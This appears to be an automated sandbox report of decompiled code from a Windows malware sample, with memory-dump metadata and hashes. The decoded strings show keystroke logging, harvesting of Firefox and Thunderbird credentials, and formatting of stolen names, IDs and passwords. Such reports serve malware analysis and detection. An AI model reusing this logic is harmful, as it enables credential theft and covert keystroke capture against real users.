                			E0041242D(void* __eflags, intOrPtr _a4) {
                				intOrPtr _v8;
                				intOrPtr _v12;
                				char _v16;
                				intOrPtr _v20;
                				intOrPtr _v24;
                				char _v28;
                				intOrPtr _v32;
                				intOrPtr _v36;
                				char _v40;
                				intOrPtr _v44;
                				intOrPtr _v48;
                				intOrPtr _v52;
                				char _v56;
                				intOrPtr _v60;
                				intOrPtr _v64;
                				intOrPtr _v68;
                				char _v72;
                				intOrPtr _v76;
                				intOrPtr _v80;
                				short _v584;
                				char _v598;
                				char _v600;
                				void* __ebx;
                				void* __edi;
                				void* __ebp;
                				intOrPtr _t64;
                				intOrPtr _t66;
                				intOrPtr _t73;
                				void* _t81;
                				void* _t86;
                				void* _t98;
                				intOrPtr _t121;
                				void* _t142;
                
                				_v600 = 0;
                				E004206CD( &_v598, 0, 0x206);
                				_t64 = E00420C5D(E00423A6C());
                				_t121 = _a4;
                				 *((intOrPtr*)(_t121 + 0x3edc)) = _t64;
                				_t66 =  *((intOrPtr*)(E00421E38() + 3));
                				if(_t66 == 0 || _t66 == 0x88888888) {
                					return _t66;
                				} else {
                					 *((intOrPtr*)(_t121 + 0x7d8)) = _t66;
                					_t119 = _t121 + 0xc94;
                					 *((intOrPtr*)(_t121 + 0xcb0)) = E0041A3FD(_t142, _t121 + 0xc94,  *((intOrPtr*)(_t121 + 0xca4)), 0, 0, E0041A33D(_t121, 0x3f));
                					 *((intOrPtr*)(_t121 + 0xcb4)) = E0041A3FD(_t142, _t121 + 0xc94,  *((intOrPtr*)(_t121 + 0xca4)), 0, 0, E0041A33D(_t121, 0x40));
                					_t73 = E0041A3FD(_t142, _t121 + 0xc94,  *((intOrPtr*)(_t121 + 0xca4)), 0, 0, E0041A33D(_t121, 0x44));
                					 *((intOrPtr*)(_t121 + 0xcbc)) = _t73;
                					if( *((intOrPtr*)(_t121 + 0xcb0)) != 0 &&  *((intOrPtr*)(_t121 + 0xcb4)) != 0) {
                						_t136 = _t73;
                						if(_t73 != 0) {
                							_push(_t98);
                							_v40 = 0x45005b;
                							_v36 = 0x630073;
                							_v32 = 0x5d;
                							E0042064D(_t121 + 0x4c64,  &_v40, 0xc);
                							_v16 = 0x41005b;
                							_v12 = 0x74006c;
                							_v8 = 0x5d;
                							E0042064D(_t121 + 0x4c7c,  &_v16, 0xc);
                							_v28 = 0x54005b;
                							_v24 = 0x620061;
                							_v20 = 0x5d;
                							E0042064D(_t121 + 0x4c94,  &_v28, 0xc);
                							_v72 = 0x45005b;
                							_v68 = 0x74006e;
                							_v64 = 0x720065;
                							_v60 = 0x5d;
                							E0042064D(_t121 + 0x4cac,  &_v72, 0x10);
                							_v56 = 0x3c005b;
                							_v52 = 0x44002d;
                							_v48 = 0x6c0065;
                							_v44 = 0x5d;
                							_t81 = E0042064D(_t121 + 0x4cc4,  &_v56, 0x10);
                							_push(0x10);
                							_push( &_v600);
                							_push(_t121);
                							L004106FD(_t81, _t98,  &_v600, _t119, _t136);
                							_v584 = 0;
                							E0041086D( &_v600, 0, _t136, _t121, _t121 + 0x4064,  &_v600, 1);
                							_t73 = E0042093D(_t121 + 0x4064);
                							if(_t73 >= 0xc) {
                								_t86 = E0041A3FD(_t142, _t119,  *((intOrPtr*)(_t121 + 0xca4)), 0, 0, E0041A33D(_t121, 0x3b));
                								_a4 = E0041A3FD(_t142, _t119,  *((intOrPtr*)(_t121 + 0xca4)), 0, 0, E0041A33D(_t121, 0x3c));
                								_v80 = E0041A3FD(_t142, _t119,  *((intOrPtr*)(_t121 + 0xca4)), 0, 0, E0041A33D(_t121, 0x3d));
                								_v76 = E0041A3FD(_t142, _t119,  *((intOrPtr*)(_t121 + 0xca4)), 0, 0, E0041A33D(_t121, 0x3e));
                								E0041A3FD(_t142, _t119,  *((intOrPtr*)(_t121 + 0xca4)), 0, 0, E0041A33D(_t121, 0x41));
                								_t73 = E0041A3FD(_t142, _t119,  *((intOrPtr*)(_t121 + 0xca4)), 0, 0, E0041A33D(_t121, 0x42));
                								if(_t86 != 0 && _a4 != 0 && _v80 != 0 && _v76 != 0) {
                									_t73 = E00421E21();
                									 *((intOrPtr*)(_t73 + 3)) = _t121;
                									 *((intOrPtr*)(_t121 + 0x4cdc)) = 1;
                								}
                							}
                						}
                					}
                					return _t73;
                				}
                			}




































                0x00412446
                0x0041244d
                0x00412458
                0x0041245d
                0x00412463
                0x0041246e
                0x00412473
                0x0041270c
                0x00412484
                0x00412488
                0x0041248e
                0x004124ae
                0x004124ce
                0x004124e9
                0x004124f8
                0x004124fe
                0x00412511
                0x00412513
                0x00412519
                0x00412527
                0x0041252e
                0x00412535
                0x0041253c
                0x0041254e
                0x00412555
                0x0041255c
                0x00412563
                0x00412575
                0x0041257c
                0x00412583
                0x0041258a
                0x0041259c
                0x004125a3
                0x004125aa
                0x004125b1
                0x004125b8
                0x004125ca
                0x004125d1
                0x004125d8
                0x004125df
                0x004125e6
                0x004125eb
                0x004125f3
                0x004125f4
                0x004125f5
                0x00412610
                0x00412617
                0x0041261d
                0x00412628
                0x00412643
                0x00412667
                0x00412687
                0x004126a4
                0x004126b9
                0x004126d6
                0x004126e0
                0x004126f4
                0x004126f9
                0x004126fc
                0x004126fc
                0x004126e0
                0x00412706
                0x00412513
                0x00000000
                0x00412707

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: [$[$[$[$]$]$]$]$]$a$e$e$l$n$s
                • API String ID: 0-3343667201
                • Opcode ID: b1b06db4c78eb342469ae549215871a78401e6d3f45d864c1e223ca8f851455a
                • Instruction ID: f84efa37b027fbc55a96bed2b98c9ddc87456cd9169647155c773cef7c37a5a6
                • Opcode Fuzzy Hash: b1b06db4c78eb342469ae549215871a78401e6d3f45d864c1e223ca8f851455a
                • Instruction Fuzzy Hash: CE71CBB0901308BAF724ABA1CD4AFEF76F89F45708F10450EF625661C1D7F865988B6E
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 78%
                			E004140AD(void* __edi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
                				intOrPtr _v8;
                				intOrPtr _v12;
                				intOrPtr _v16;
                				intOrPtr _v20;
                				intOrPtr _v24;
                				intOrPtr _v28;
                				intOrPtr _v32;
                				intOrPtr _v36;
                				intOrPtr _v40;
                				intOrPtr _v44;
                				intOrPtr _v48;
                				intOrPtr _v52;
                				intOrPtr _v56;
                				intOrPtr _v60;
                				intOrPtr _v64;
                				char _v68;
                				char _v114;
                				short _v116;
                				intOrPtr _v120;
                				intOrPtr _v124;
                				intOrPtr _v128;
                				char _v132;
                				char _v186;
                				short _v188;
                				intOrPtr _v192;
                				char _v196;
                				char _v702;
                				char _v706;
                				char _v708;
                				void* __esi;
                				void* __ebp;
                				void* _t83;
                				void* _t101;
                				intOrPtr _t127;
                				void* _t129;
                				void* _t130;
                				void* _t133;
                
                				_v708 = 0;
                				E004206CD( &_v706, 0, 0x1fe);
                				_v196 = 0x65002e;
                				_v192 = 0x650078;
                				_v188 = 0;
                				E004206CD( &_v186, 0, 0x36);
                				_v132 = 0x460020;
                				_v128 = 0x720069;
                				_v124 = 0x660065;
                				_v120 = 0x78006f;
                				_v116 = 0;
                				E004206CD( &_v114, 0, 0x2e);
                				_t127 = _a4;
                				_push(0);
                				_push(5);
                				_push( &_v708);
                				_push(_t127);
                				_v68 = 0x720050;
                				_v64 = 0x67006f;
                				_v60 = 0x610072;
                				_v56 = 0x20006d;
                				_v52 = 0x690046;
                				_v48 = 0x65006c;
                				_v44 = 0x73;
                				_v40 = 0;
                				_v36 = 0;
                				_v32 = 0;
                				_v28 = 0;
                				_v24 = 0;
                				_v20 = 0;
                				_v16 = 0;
                				_v12 = 0;
                				_v8 = 0;
                				L0041043D(0,  &_v708, __edi, _t127);
                				_push(1);
                				_push(0x13);
                				_push(_t129 + E0042093D( &_v708) * 2 - 0x2c0);
                				_push(_t127);
                				L0041043D(_t129 + E0042093D( &_v708) * 2 - 0x2c0,  &_v708, __edi, _t127);
                				E00420AAD( &_v708,  &_v132, 0);
                				_v132 = 0x5c;
                				E00420AAD( &_v708,  &_v132, 0);
                				E00420AAD( &_v708,  &_v196, 0);
                				_t83 = E00419FFD(_t127,  &_v708, 0x15, 0);
                				_t133 = _t130 + 0x7c;
                				if(_t83 != 0) {
                					L3:
                					_t128 = _a8;
                					if(_a8 != 0) {
                						E0042064D(_t128,  &_v708, E0042093D( &_v708) + _t85 + 2);
                					}
                					return 1;
                				} else {
                					E0042067D( &_v702, 0x80);
                					_v132 = 0x20;
                					_t47 = E0042093D( &_v68) + 2; // 0x2
                					E0042064D( &_v702,  &_v68, _t90 + _t47);
                					_push(1);
                					_push(0x13);
                					_push(_t129 + E0042093D( &_v708) * 2 - 0x2c0);
                					_push(_t127);
                					L0041043D( &_v708, _t129 + E0042093D( &_v708) * 2 - 0x2c0, __edi, _t127);
                					E00420AAD( &_v708,  &_v132, 0);
                					_v132 = 0x5c;
                					E00420AAD( &_v708,  &_v132, 0);
                					E00420AAD( &_v708,  &_v196, 0);
                					_t101 = E00419FFD(_t127,  &_v708, 0x15, 0);
                					_t133 = _t133 + 0x60;
                					if(_t101 != 0) {
                						goto L3;
                					} else {
                						return _t101;
                					}
                				}
                			}








































                0x004140c6
                0x004140cd
                0x004140de
                0x004140e8
                0x004140f2
                0x004140f9
                0x00414107
                0x0041410e
                0x00414115
                0x0041411c
                0x00414123
                0x00414127
                0x0041412c
                0x00414131
                0x00414132
                0x0041413a
                0x0041413b
                0x0041413c
                0x00414143
                0x0041414a
                0x00414151
                0x00414158
                0x0041415f
                0x00414166
                0x0041416d
                0x00414170
                0x00414173
                0x00414176
                0x00414179
                0x0041417c
                0x0041417f
                0x00414182
                0x00414185
                0x00414188
                0x00414190
                0x00414198
                0x004141aa
                0x004141ab
                0x004141ac
                0x004141be
                0x004141d5
                0x004141d9
                0x004141ee
                0x004141ff
                0x00414204
                0x00414209
                0x004142ca
                0x004142ca
                0x004142cf
                0x004142ea
                0x004142ef
                0x004142fb
                0x0041420f
                0x0041421b
                0x00414229
                0x00414232
                0x00414242
                0x0041424a
                0x00414252
                0x00414264
                0x00414265
                0x00414266
                0x00414278
                0x0041428f
                0x00414293
                0x004142a8
                0x004142b9
                0x004142be
                0x004142c3
                0x00000000
                0x004142c9
                0x004142c9
                0x004142c9
                0x004142c3

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: $.$F$P$e$i$l$m$o$o$r$s$x
                • API String ID: 0-392141074
                • Opcode ID: 3e0c5722bcede09dd24812f7aac987da96a80cc0e7d3bba1b10af6fd8ba01d9f
                • Instruction ID: 21b0fac51bf8ddf3bab95c836a8c53d3d40f16a8219b5dd592c4c28d845a75c6
                • Opcode Fuzzy Hash: 3e0c5722bcede09dd24812f7aac987da96a80cc0e7d3bba1b10af6fd8ba01d9f
                • Instruction Fuzzy Hash: 9A6162B1D01328AAEB20DF94DC85FEEB7B8BF08704F44419EF509A6182EB755644CFA5
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 29%
                			E0043523D(void* __fp0, intOrPtr _a4, char _a8) {
                				short _v8;
                				intOrPtr _v12;
                				intOrPtr _v16;
                				char _v20;
                				intOrPtr _v24;
                				intOrPtr _v28;
                				intOrPtr _v32;
                				intOrPtr _v36;
                				intOrPtr _v40;
                				intOrPtr _v44;
                				char _v48;
                				short _v52;
                				char _v56;
                				short _v60;
                				short _v64;
                				short _v68;
                				char _v72;
                				short _v76;
                				short _v80;
                				short _v84;
                				short _v88;
                				short _v92;
                				char _v96;
                				char _v160;
                				char _v164;
                				char _v674;
                				char _v676;
                				void* __ebx;
                				void* __edi;
                				void* __ebp;
                				char* _t47;
                				intOrPtr* _t50;
                				intOrPtr* _t54;
                				void* _t72;
                				intOrPtr _t74;
                
                				_t82 = __fp0;
                				_t2 = _a8 + 8; // 0xfff9908d
                				_push(0x1fe);
                				_push(0);
                				_push( &_v674);
                				_v52 = 0;
                				_v56 =  *_t2;
                				_v96 = 0x18;
                				_v92 = 0;
                				_v84 = 0;
                				_v88 = 0;
                				_v80 = 0;
                				_v76 = 0;
                				_v676 = 0;
                				L004494CD();
                				_t74 = _a4;
                				_push( &_v56);
                				_push( &_v96);
                				_push(0x401);
                				_t47 =  &_a8;
                				_push(_t47);
                				_push(_t74);
                				L0044731D();
                				if(_t47 < 0) {
                					L5:
                					return 0;
                				} else {
                					_push(0xcc145ef7);
                					_push(0);
                					_push(0);
                					_push( *((intOrPtr*)(_t74 + 0xba0)));
                					_t18 = _t74 + 0x1c; // 0x1d
                					_t72 = _t18;
                					_push(_t72);
                					_v48 = 0x65005c;
                					_v44 = 0x700078;
                					_v40 = 0x6f006c;
                					_v36 = 0x650072;
                					_v32 = 0x2e0072;
                					_v28 = 0x780065;
                					_v24 = 0x65;
                					_t50 = E004431FD( *((intOrPtr*)(_t74 + 0xba0)), 0, _t72, __fp0);
                					if(_t50 != 0) {
                						 *_t50(_a8, 0);
                					}
                					_push(0x40);
                					_push(0);
                					_push( &_v160);
                					L004494CD();
                					_v72 = 0;
                					_v68 = 0;
                					_v64 = 0;
                					_v60 = 0;
                					_v164 = 0x44;
                					_v20 = 0x690077;
                					_v16 = 0x64006e;
                					_v12 = 0x720069;
                					_v8 = 0;
                					E0043910D(_t74,  &_v20,  &_v676);
                					_push(0);
                					_push( &_v48);
                					_push( &_v676);
                					L004498AD();
                					_push(0xad0121ab);
                					_push(0);
                					_push(0);
                					_push( *((intOrPtr*)(_t74 + 0xba0)));
                					_push(_t72);
                					_t54 = E004431FD( &_v48, 0, _t72, _t82);
                					if(_t54 == 0) {
                						goto L5;
                					} else {
                						return  *_t54(0,  &_v676, 0, 0, 0, 0, 0, 0, 0,  &_v164,  &_v72, 0);
                					}
                				}
                			}






































                0x0043523d
                0x00435249
                0x00435250
                0x0043525d
                0x0043525e
                0x0043525f
                0x00435262
                0x00435265
                0x0043526c
                0x0043526f
                0x00435272
                0x00435275
                0x00435278
                0x0043527b
                0x00435282
                0x00435287
                0x0043528d
                0x00435291
                0x00435292
                0x00435297
                0x0043529a
                0x0043529b
                0x0043529c
                0x004352a6
                0x004353a5
                0x004353ab
                0x004352ac
                0x004352b3
                0x004352b8
                0x004352b9
                0x004352ba
                0x004352bb
                0x004352bb
                0x004352be
                0x004352bf
                0x004352c6
                0x004352cd
                0x004352d4
                0x004352db
                0x004352e2
                0x004352e9
                0x004352f0
                0x004352fa
                0x00435301
                0x00435301
                0x00435303
                0x0043530b
                0x0043530c
                0x0043530d
                0x00435320
                0x00435323
                0x00435326
                0x00435329
                0x0043532c
                0x00435336
                0x0043533d
                0x00435344
                0x0043534b
                0x0043534f
                0x00435354
                0x00435358
                0x0043535f
                0x00435360
                0x0043536b
                0x00435370
                0x00435371
                0x00435372
                0x00435373
                0x00435374
                0x0043537f
                0x00000000
                0x00435381
                0x004353a3
                0x004353a3
                0x0043537f

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID: __vba$Ary1CopyDeref
                • String ID: D$\$e$e$i$l$n$r$r$w$x
                • API String ID: 971011343-685823316
                • Opcode ID: ad3a3ffc29af623dec2e1caaca2308f25360280308ccd6a4cb52007f167fa6ab
                • Instruction ID: 4663a8cea0ffd555dc6a02d86eb24191c10b0d8ecabc50c4890296de595fdc2f
                • Opcode Fuzzy Hash: ad3a3ffc29af623dec2e1caaca2308f25360280308ccd6a4cb52007f167fa6ab
                • Instruction Fuzzy Hash: 64413BB2D00218AFEB10DFD5CC84AEEBBBCFB48344F40855EF518A6200D7755A45CB65
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 91%
                			E004152AD(intOrPtr _a4) {
                				short _v8;
                				intOrPtr _v12;
                				intOrPtr _v16;
                				intOrPtr _v20;
                				char _v24;
                				short _v28;
                				intOrPtr _v32;
                				intOrPtr _v36;
                				intOrPtr _v40;
                				intOrPtr _v44;
                				intOrPtr _v48;
                				char _v52;
                				char _v106;
                				short _v108;
                				intOrPtr _v112;
                				char _v116;
                				intOrPtr* _t33;
                				intOrPtr _t59;
                				intOrPtr* _t60;
                				void* _t61;
                				void* _t62;
                				void* _t63;
                				void* _t64;
                
                				_v116 = 0x410050;
                				_v112 = 0x480054;
                				_v108 = 0;
                				E004206CD( &_v106, 0, 0x36);
                				_t59 = _a4;
                				_v24 = 0x690046;
                				_v20 = 0x650072;
                				_v16 = 0x6f0066;
                				_v12 = 0x5c0078;
                				_v8 = 0;
                				_v52 = 0x680054;
                				_v48 = 0x6e0075;
                				_v44 = 0x650064;
                				_v40 = 0x620072;
                				_v36 = 0x720069;
                				_v32 = 0x5c0064;
                				_v28 = 0;
                				_t33 = E004207FD(_t59, 0x7374);
                				_t60 = _t33;
                				_t62 = _t61 + 0x14;
                				if(_t60 != 0) {
                					_t19 = _t60 + 0x48; // 0x48
                					_t48 = _t19;
                					 *_t60 = 0x32;
                					E0042064D(_t19,  &_v116, 8);
                					E00414F6D(__eflags, _t59,  &_v24, _t60);
                					_t63 = _t62 + 0x18;
                					__eflags =  *((intOrPtr*)(_t60 + 0xc));
                					if( *((intOrPtr*)(_t60 + 0xc)) != 0) {
                						E00416D6D(_t59, _t60, 0x16);
                						E00416D6D(_t59, _t60, 0x1024);
                						_t63 = _t63 + 0x18;
                					}
                					__eflags =  *((intOrPtr*)(_t60 + 8));
                					if( *((intOrPtr*)(_t60 + 8)) != 0) {
                						_t23 = _t60 + 0x2868; // 0x2868
                						_push( &_v116);
                						_push(_t59);
                						L0041023D();
                						_t63 = _t63 + 0xc;
                					}
                					E0042067D(_t60, 0x7374);
                					 *_t60 = 0x64;
                					E0042064D(_t48,  &_v116, 8);
                					E00414F6D(__eflags, _t59,  &_v52, _t60);
                					_t64 = _t63 + 0x20;
                					__eflags =  *((intOrPtr*)(_t60 + 0xc));
                					if( *((intOrPtr*)(_t60 + 0xc)) != 0) {
                						E00416D6D(_t59, _t60, 0x16);
                						E00416D6D(_t59, _t60, 0x1024);
                						_t64 = _t64 + 0x18;
                					}
                					__eflags =  *((intOrPtr*)(_t60 + 8));
                					if( *((intOrPtr*)(_t60 + 8)) != 0) {
                						_t29 = _t60 + 0x2868; // 0x2868
                						_push( &_v116);
                						_push(_t59);
                						L0041023D();
                						_t64 = _t64 + 0xc;
                					}
                					E0042062D(_t59, _t60);
                					return 1;
                				} else {
                					return _t33;
                				}
                			}


























                0x004152be
                0x004152c5
                0x004152cc
                0x004152d0
                0x004152d5
                0x004152e2
                0x004152e9
                0x004152f0
                0x004152f7
                0x004152fe
                0x00415302
                0x00415309
                0x00415310
                0x00415317
                0x0041531e
                0x00415325
                0x0041532c
                0x00415330
                0x00415335
                0x00415337
                0x0041533c
                0x0041534b
                0x0041534b
                0x0041534f
                0x00415355
                0x00415360
                0x00415365
                0x00415368
                0x0041536c
                0x00415372
                0x0041537e
                0x00415383
                0x00415383
                0x00415386
                0x0041538a
                0x0041538c
                0x00415396
                0x00415397
                0x00415398
                0x0041539d
                0x0041539d
                0x004153a6
                0x004153b2
                0x004153b8
                0x004153c3
                0x004153c8
                0x004153cb
                0x004153d0
                0x004153d6
                0x004153e2
                0x004153e7
                0x004153e7
                0x004153ea
                0x004153ee
                0x004153f0
                0x004153fa
                0x004153fb
                0x004153fc
                0x00415401
                0x00415401
                0x00415406
                0x00415418
                0x00415343
                0x00415343
                0x00415343

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: F$T$T$d$d$f$i$r$r$u$x
                • API String ID: 0-5043165
                • Opcode ID: a747ceccdc8f49b598affc0967aaae180f883322bbfa731fa55cdfe7db40c512
                • Instruction ID: 660c9722c935aca42bbb4366a61d10bb26eb3410106e4ad07166ac2311b8d3cd
                • Opcode Fuzzy Hash: a747ceccdc8f49b598affc0967aaae180f883322bbfa731fa55cdfe7db40c512
                • Instruction Fuzzy Hash: 45419671D00218AADB20EF96DC49FFF7AF8EF85704F00414EF5186A142E7B91589CBA5
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 36%
                			E00433A9D(void* __ebx, void* __edi, void* __eflags, void* __fp0, intOrPtr _a4) {
                				short _v8;
                				intOrPtr _v12;
                				intOrPtr _v16;
                				char _v20;
                				intOrPtr _v24;
                				intOrPtr _v28;
                				intOrPtr _v32;
                				intOrPtr _v36;
                				intOrPtr _v40;
                				intOrPtr _v44;
                				char _v48;
                				intOrPtr _v52;
                				intOrPtr _v56;
                				intOrPtr _v60;
                				char _v64;
                				char _v128;
                				char _v132;
                				char _v642;
                				char _v644;
                				void* __ebp;
                				intOrPtr* _t34;
                				intOrPtr _t49;
                
                				_push(0x1fe);
                				_push(0);
                				_push( &_v642);
                				_v644 = 0;
                				L004494CD();
                				_push(0x40);
                				_push(0);
                				_push( &_v128);
                				_v48 = 0x65005c;
                				_v44 = 0x700078;
                				_v40 = 0x6f006c;
                				_v36 = 0x650072;
                				_v32 = 0x2e0072;
                				_v28 = 0x780065;
                				_v24 = 0x65;
                				L004494CD();
                				_t49 = _a4;
                				_v60 = 0;
                				_v56 = 0;
                				_v52 = 0;
                				_v64 = 0;
                				_v132 = 0x44;
                				_v20 = 0x690077;
                				_v16 = 0x64006e;
                				_v12 = 0x720069;
                				_v8 = 0;
                				E0043910D(_t49,  &_v20,  &_v644);
                				_push(0);
                				_push( &_v48);
                				_push( &_v644);
                				L004498AD();
                				_t25 = _t49 + 0xba0; // 0xd6fffa5d
                				_push(0xad0121ab);
                				_push(0);
                				_push(0);
                				_push( *_t25);
                				_push(_t49 + 0x1c);
                				_t34 = E004431FD( &_v644, __ebx, __edi, __fp0);
                				if(_t34 == 0) {
                					return 0;
                				} else {
                					return  *_t34(0,  &_v644, 0, 0, 0, 0, 0, 0, 0,  &_v132,  &_v64, 0);
                				}
                			}

























                0x00433aa9
                0x00433aae
                0x00433ab5
                0x00433ab6
                0x00433abd
                0x00433ac2
                0x00433ac7
                0x00433ac9
                0x00433aca
                0x00433ad1
                0x00433ad8
                0x00433adf
                0x00433ae6
                0x00433aed
                0x00433af4
                0x00433afb
                0x00433b00
                0x00433b05
                0x00433b08
                0x00433b0b
                0x00433b1c
                0x00433b23
                0x00433b2a
                0x00433b31
                0x00433b38
                0x00433b3f
                0x00433b43
                0x00433b48
                0x00433b4d
                0x00433b54
                0x00433b55
                0x00433b5a
                0x00433b60
                0x00433b65
                0x00433b67
                0x00433b69
                0x00433b6d
                0x00433b6e
                0x00433b79
                0x00433ba7
                0x00433b7b
                0x00433ba1
                0x00433ba1

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID: __vba$Ary1CopyDeref
                • String ID: D$\$e$e$i$l$n$r$r$w$x
                • API String ID: 971011343-685823316
                • Opcode ID: dfba7682933237d693b799f2e1f88e912595e4f49341bdd103946991c6941bcf
                • Instruction ID: 6d8350d756a7def0a01dd7f4cb2d630c539916fd734ac21de750cfce1deb7a3a
                • Opcode Fuzzy Hash: dfba7682933237d693b799f2e1f88e912595e4f49341bdd103946991c6941bcf
                • Instruction Fuzzy Hash: CE2173B1D11218AEEF50DF94DC45BEEBBB9BF08704F04815DF618BA180DBB516488BA4
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 75%
                			E0041854D(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, char _a16, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
                				char _v8;
                				char _v12;
                				short _v14;
                				short _v18;
                				short _v22;
                				short _v26;
                				short _v30;
                				short _v32;
                				char _v36;
                				short _v38;
                				short _v42;
                				short _v46;
                				short _v48;
                				intOrPtr _v52;
                				intOrPtr _v56;
                				char _v60;
                				short _v62;
                				short _v66;
                				short _v70;
                				short _v72;
                				intOrPtr _v76;
                				intOrPtr _v80;
                				char _v84;
                				short _v86;
                				short _v90;
                				short _v94;
                				short _v98;
                				short _v100;
                				intOrPtr _v104;
                				char _v108;
                				short _v112;
                				short _v116;
                				short _v120;
                				intOrPtr _v124;
                				intOrPtr _v128;
                				char _v132;
                				char _t152;
                				intOrPtr _t157;
                				void* _t184;
                				intOrPtr _t189;
                				void* _t200;
                				void* _t228;
                				void* _t240;
                				intOrPtr* _t243;
                				intOrPtr* _t298;
                				intOrPtr _t301;
                				void* _t303;
                				void* _t305;
                
                				_v30 = 0;
                				_v26 = 0;
                				_v22 = 0;
                				_v18 = 0;
                				_v14 = 0;
                				_v98 = 0;
                				_v94 = 0;
                				_v90 = 0;
                				_v86 = 0;
                				_v120 = 0;
                				_v116 = 0;
                				_v112 = 0;
                				_v70 = 0;
                				_v66 = 0;
                				_v62 = 0;
                				_v48 = 0;
                				_v46 = 0;
                				_v42 = 0;
                				_v38 = 0;
                				_t152 = _a16;
                				_v36 = 0xa000d;
                				_v32 = 0;
                				_v108 = 0x640049;
                				_v104 = 0x9003a;
                				_v100 = 0;
                				_v132 = 0x750041;
                				_v128 = 0x3a0074;
                				_v124 = 9;
                				_v84 = 0x610050;
                				_v80 = 0x730073;
                				_v76 = 0x9003a;
                				_v72 = 0;
                				_v60 = 0x61004e;
                				_v56 = 0x65006d;
                				_v52 = 0x9003a;
                				if(_t152 == 0) {
                					L13:
                					return _a32(_a12);
                				} else {
                					_t301 = _a4;
                					_t298 = _a12 + 0x18;
                					_t243 = _t298;
                					_v12 = _t152;
                					do {
                						 *((intOrPtr*)(_t301 + 0xa08)) = 4;
                						E0042067D( *((intOrPtr*)(_t301 + 0xa04)), 0x400);
                						E0042064D( *((intOrPtr*)(_t301 + 0xa04)),  &_v36, 6);
                						_t157 =  *((intOrPtr*)(_t301 + 0xb84));
                						_t303 = _t303 + 0x14;
                						if(_t157 != 7) {
                							if(_t157 != 8) {
                								goto L11;
                							}
                							E00420AAD( *((intOrPtr*)(_t301 + 0xa04)),  &_v60, 0);
                							 *((intOrPtr*)(_t301 + 0xa08)) =  *((intOrPtr*)(_t301 + 0xa08)) + E0042093D( &_v60) + _t160;
                							E0041842D(_t301,  *((intOrPtr*)(_t298 - 4)));
                							E00420AAD( *((intOrPtr*)(_t301 + 0xa04)),  &_v36, 0);
                							 *((intOrPtr*)(_t301 + 0xa08)) =  *((intOrPtr*)(_t301 + 0xa08)) + E0042093D( &_v36) + _t165;
                							E00420AAD( *((intOrPtr*)(_t301 + 0xa04)),  &_v108, 0);
                							 *((intOrPtr*)(_t301 + 0xa08)) =  *((intOrPtr*)(_t301 + 0xa08)) + E0042093D( &_v108) + _t169;
                							E0041842D(_t301,  *_t298);
                							E00420AAD( *((intOrPtr*)(_t301 + 0xa04)),  &_v36, 0);
                							 *((intOrPtr*)(_t301 + 0xa08)) =  *((intOrPtr*)(_t301 + 0xa08)) + E0042093D( &_v36) + _t175;
                							E00420AAD( *((intOrPtr*)(_t301 + 0xa04)),  &_v132, 0);
                							 *((intOrPtr*)(_t301 + 0xa08)) =  *((intOrPtr*)(_t301 + 0xa08)) + E0042093D( &_v132) + _t179;
                							E0041842D(_t301,  *((intOrPtr*)(_t298 + 4)));
                							E00420AAD( *((intOrPtr*)(_t301 + 0xa04)),  &_v36, 0);
                							_t184 = E0042093D( &_v36);
                							_t305 = _t303 + 0x78;
                							 *((intOrPtr*)(_t301 + 0xa08)) =  *((intOrPtr*)(_t301 + 0xa08)) + _t184 + _t184;
                							_a16 = 0;
                							_push( &_a16);
                							_push(0);
                							_push(0);
                							_push( *((intOrPtr*)(_t298 + 8)));
                							_push( *_t298);
                							_push( *((intOrPtr*)(_t298 - 4)));
                							_push(_t298 - 0x18);
                							_push(_a8);
                							if(_a28() == 0) {
                								E00420AAD( *((intOrPtr*)(_t301 + 0xa04)),  &_v84, _t188);
                								 *((intOrPtr*)(_t301 + 0xa08)) =  *((intOrPtr*)(_t301 + 0xa08)) + E0042093D( &_v84) + _t194;
                								E0041842D(_t301,  *((intOrPtr*)(_a16 + 0x1c)));
                								E00420AAD( *((intOrPtr*)(_t301 + 0xa04)),  &_v36, 0);
                								_t200 = E0042093D( &_v36);
